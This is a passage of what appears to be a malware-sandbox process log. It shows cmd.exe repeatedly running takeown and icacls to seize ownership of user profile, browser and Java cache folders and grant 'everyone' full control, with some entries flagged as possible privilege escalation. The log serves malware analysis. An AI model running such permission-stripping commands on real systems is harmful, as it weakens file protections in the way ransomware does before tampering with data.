    icacls C:\Users\Admin\AppData\Local\Temp\Low /grant everyone:(f)
    3⤵
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219 && icacls C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219 /grant everyone:(f)
  2⤵
  PID:928
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219
    3⤵
    PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219 && icacls C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219 /grant everyone:(f)
  2⤵
  PID:900
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files && icacls C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files /grant everyone:(f)
  2⤵
  PID:1512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files
    3⤵
    PID:772
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files /grant everyone:(f)
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315 && icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315 /grant everyone:(f)
  2⤵
  PID:2224
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315
    3⤵
    PID:2340
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315 /grant everyone:(f)
    3⤵
    PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315\CRX_INSTALL && icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315\CRX_INSTALL /grant everyone:(f)
  2⤵
  PID:572
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315\CRX_INSTALL
    3⤵
    PID:2364
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_1974770315\CRX_INSTALL /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819 && icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819 /grant everyone:(f)
  2⤵
  PID:1688
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819
    3⤵
    PID:2592
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819 /grant everyone:(f)
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819\CRX_INSTALL && icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819\CRX_INSTALL /grant everyone:(f)
  2⤵
  PID:1780
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819\CRX_INSTALL
    3⤵
    PID:340
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\scoped_dir1776_749502819\CRX_INSTALL /grant everyone:(f)
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\VBE && icacls C:\Users\Admin\AppData\Local\Temp\VBE /grant everyone:(f)
  2⤵
  PID:2140
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\VBE
    3⤵
    PID:2396
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\VBE /grant everyone:(f)
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temp\WPDNSE && icacls C:\Users\Admin\AppData\Local\Temp\WPDNSE /grant everyone:(f)
  2⤵
  PID:324
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temp\WPDNSE
    3⤵
    PID:2680
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\WPDNSE /grant everyone:(f)
    3⤵
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Temporary Internet Files && icacls C:\Users\Admin\AppData\Local\Temporary Internet Files /grant everyone:(f)
  2⤵
  PID:2288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Temporary Internet Files
    3⤵
    PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow && icacls C:\Users\Admin\AppData\LocalLow /grant everyone:(f)
  2⤵
  PID:3040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow
    3⤵
    PID:2780
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow /grant everyone:(f)
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft && icacls C:\Users\Admin\AppData\LocalLow\Microsoft /grant everyone:(f)
  2⤵
  PID:2076
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft
    3⤵
    PID:1848
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Microsoft /grant everyone:(f)
    3⤵
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache && icacls C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache /grant everyone:(f)
  2⤵
  PID:2568
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache
    3⤵
    PID:648
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache /grant everyone:(f)
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content && icacls C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content /grant everyone:(f)
  2⤵
  PID:2312
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
    3⤵
    PID:2104
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content /grant everyone:(f)
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData && icacls C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData /grant everyone:(f)
  2⤵
  PID:2648
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
    3⤵
    PID:2584
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData /grant everyone:(f)
    3⤵
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer && icacls C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer /grant everyone:(f)
  2⤵
  PID:2564
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer
    3⤵
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services && icacls C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services /grant everyone:(f)
  2⤵
  PID:2824
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services
    3⤵
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Mozilla && icacls C:\Users\Admin\AppData\LocalLow\Mozilla /grant everyone:(f)
  2⤵
  PID:1316
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Mozilla
    3⤵
    PID:2964
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Mozilla /grant everyone:(f)
    3⤵
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun && icacls C:\Users\Admin\AppData\LocalLow\Sun /grant everyone:(f)
  2⤵
  PID:2944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun
    3⤵
    PID:2960
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun /grant everyone:(f)
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java /grant everyone:(f)
  2⤵
  PID:2684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java
    3⤵
    - Possible privilege escalation attempt
    PID:1096
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java /grant everyone:(f)
    3⤵
    PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment /grant everyone:(f)
  2⤵
  PID:2092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment
    3⤵
    PID:952
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment /grant everyone:(f)
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache /grant everyone:(f)
  2⤵
  PID:1148
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache
    3⤵
    PID:108
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache /grant everyone:(f)
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0 /grant everyone:(f)
  2⤵
  PID:1720
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0
    3⤵
    PID:2548
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0 /grant everyone:(f)
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\0 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\0 /grant everyone:(f)
  2⤵
  PID:944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\0
    3⤵
    PID:1336
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\0 /grant everyone:(f)
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\1 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\1 /grant everyone:(f)
  2⤵
  PID:1940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\1
    3⤵
    - Modifies file permissions
    PID:1040
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\1 /grant everyone:(f)
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\10 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\10 /grant everyone:(f)
  2⤵
  PID:1748
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\10
    3⤵
    PID:1996
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\10 /grant everyone:(f)
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\11 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\11 /grant everyone:(f)
  2⤵
  PID:2500
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\11
    3⤵
    PID:836
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\11 /grant everyone:(f)
    3⤵
    PID:880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\12 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\12 /grant everyone:(f)
  2⤵
  PID:928
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\12
    3⤵
    PID:2212
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\12 /grant everyone:(f)
    3⤵
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\13 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\13 /grant everyone:(f)
  2⤵
  PID:2188
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\13
    3⤵
    PID:1048
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\13 /grant everyone:(f)
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14 /grant everyone:(f)
  2⤵
  PID:2292
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14
    3⤵
    PID:764
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14 /grant everyone:(f)
    3⤵
    - Modifies file permissions
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15 /grant everyone:(f)
  2⤵
  PID:2320
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15
    3⤵
    PID:1820
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15 /grant everyone:(f)
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\16 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\16 /grant everyone:(f)
  2⤵
  PID:1100
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\16
    3⤵
    PID:2496
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\16 /grant everyone:(f)
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\17 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\17 /grant everyone:(f)
  2⤵
  PID:2276
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\17
    3⤵
    - Possible privilege escalation attempt
    PID:2672
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\17 /grant everyone:(f)
    3⤵
    PID:1088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\18 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\18 /grant everyone:(f)
  2⤵
  PID:1744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\18
    3⤵
    - Modifies file permissions
    PID:1788
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\18 /grant everyone:(f)
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\19 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\19 /grant everyone:(f)
  2⤵
  PID:2304
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\19
    3⤵
    PID:2680
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\19 /grant everyone:(f)
    3⤵
    PID:804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\2 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\2 /grant everyone:(f)
  2⤵
  PID:324
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\2
    3⤵
    PID:2760
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\2 /grant everyone:(f)
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\20 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\20 /grant everyone:(f)
  2⤵
  PID:2848
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\20
    3⤵
    PID:1156
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\20 /grant everyone:(f)
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\21 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\21 /grant everyone:(f)
  2⤵
  PID:2860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\21
    3⤵
    PID:2784
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\21 /grant everyone:(f)
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\22 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\22 /grant everyone:(f)
  2⤵
  PID:2956
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\22
    3⤵
    PID:2776
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\22 /grant everyone:(f)
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23 /grant everyone:(f)
  2⤵
  PID:2580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23
    3⤵
    PID:2700
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23 /grant everyone:(f)
    3⤵
    PID:1256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\24 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\24 /grant everyone:(f)
  2⤵
  PID:2196
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\24
    3⤵
    PID:2740
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\24 /grant everyone:(f)
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\25 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\25 /grant everyone:(f)
  2⤵
  PID:2600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\25
    3⤵
    PID:2160
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\25 /grant everyone:(f)
    3⤵
    PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\26 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\26 /grant everyone:(f)
  2⤵
  PID:2252
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\26
    3⤵
    PID:2828
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\26 /grant everyone:(f)
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\27 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\27 /grant everyone:(f)
  2⤵
  PID:876
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\27
    3⤵
    PID:844
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\27 /grant everyone:(f)
    3⤵
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\28 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\28 /grant everyone:(f)
  2⤵
  PID:1800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\28
    3⤵
    PID:2820
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\28 /grant everyone:(f)
    3⤵
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\29 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\29 /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\29
    3⤵
    PID:2936
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\29 /grant everyone:(f)
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\3 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\3 /grant everyone:(f)
  2⤵
  PID:2360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\3
    3⤵
    PID:2392
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\3 /grant everyone:(f)
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\30 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\30 /grant everyone:(f)
  2⤵
  PID:2156
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\30
    3⤵
    PID:300
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\30 /grant everyone:(f)
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\31 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\31 /grant everyone:(f)
  2⤵
  PID:1472
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\31
    3⤵
    PID:448
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\31 /grant everyone:(f)
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\32 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\32 /grant everyone:(f)
  2⤵
  PID:1232
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\32
    3⤵
    PID:1932
